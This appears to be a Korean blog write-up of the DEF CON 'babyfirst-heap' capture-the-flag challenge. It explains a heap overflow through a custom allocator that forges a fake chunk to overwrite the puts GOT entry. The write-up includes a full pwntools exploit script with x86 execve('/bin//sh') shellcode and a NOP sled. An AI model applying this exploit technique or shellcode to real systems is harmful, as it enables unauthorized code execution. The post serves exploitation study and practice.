NX와 aslr만 되어있다.
문제 이름만 놓고 본다면 쉬울것 같으나 데프콘 문제여서 쫄은 상태로 풀기 시작했다.
힙문제는 아직 너무 어려워서 쉬운 문제를 찾다가 풀게 되었는데.. 푸는데 꽤 오래 걸렸다.
근데 풀고 나니 많이 쉬웠던 문제인것 같다.
ida와 gdb로 보면 커스텀 malloc과 free를 사용한다는 것을 알 수 있다.
이 문제는 우선 힙주소를 전부 출력을 해주기 때문에 따로 릭을 할 필요는 없었다.
그리고 사용자에게 입력받는 수는 4096바이트로 꽤나 많은 양의 바이트를 입력받는다.
먼저 내가 입력한 값이 어디에 들어가는지 확인을 해보았다.
memcpy에 bp를 걸고 확인을 해보았더니 size=260인 청크에 들어가게 된다.
다시말해 이 부분을 통해 오버플로우로 다음 청크를 덮어서 fake chunk를 만들면 got overwrite로 문제를 풀 수 있다.
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * r = process( "./babyfirst-heap" ) elf = ELF( "./babyfirst-heap" ) r.recvuntil( "[size=755]" ) r.recvuntil( "loc=" ) chunk = "0x" + r.recv( 7 ) chunk = int (chunk, 16 ) log.info( "chunk addr = {}" . format ( hex (chunk))) puts_got = elf.got[ 'puts' ] jmp_code = "\xeb\x0c" shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload = p32(puts_got - 8 ) payload + = p32(chunk + 0x24 ) payload + = "\x90" * 30 payload + = jmp_code payload + = "\x90" * 191 payload + = shellcode payload + = p32( 0 ) payload + = p32( 0x378 ) payload + = p32( 0 ) * 65 payload + = p32( 0x1000 ) r.sendline(payload) r.interactive() |
'CTF' 카테고리의 다른 글
SEC-T CTF PingPong (0) | 2018.09.16 |
---|---|
BCTF 2016 bcloud (0) | 2018.08.24 |
Defcon 2017 smashme (0) | 2018.08.12 |
Plaid 2014 ezhp (0) | 2018.08.12 |
CodeGate2017 messenger (0) | 2018.08.07 |